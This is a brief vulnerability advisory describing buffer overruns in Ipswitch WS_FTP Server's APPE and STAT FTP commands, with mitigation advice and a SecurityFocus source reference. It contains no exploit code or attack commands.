Buffer Overrun in Ipswitch WS_FTP Server

This exploit takes advantage of a buffer overrun vulnerability in Ipswitch WS_FTP Server when handling the APPE and STAT FTP commands. An FTP user can send excessive input to these commands, potentially executing arbitrary code on the server or causing a denial of service.

Mitigation:

Apply the latest patches or updates provided by the vendor. Restrict access to the FTP server only to trusted users. Regularly monitor the server for any suspicious activity.

// source: https://www.securityfocus.com/bid/8542/info

Ipswitch WS_FTP Server is reported to be prone to buffer overruns when handling data supplied to the APPE and STAT FTP commands. An FTP user who supplies excessive input to these commands could potentially execute arbitrary code in the context of the server or cause a denial of service.
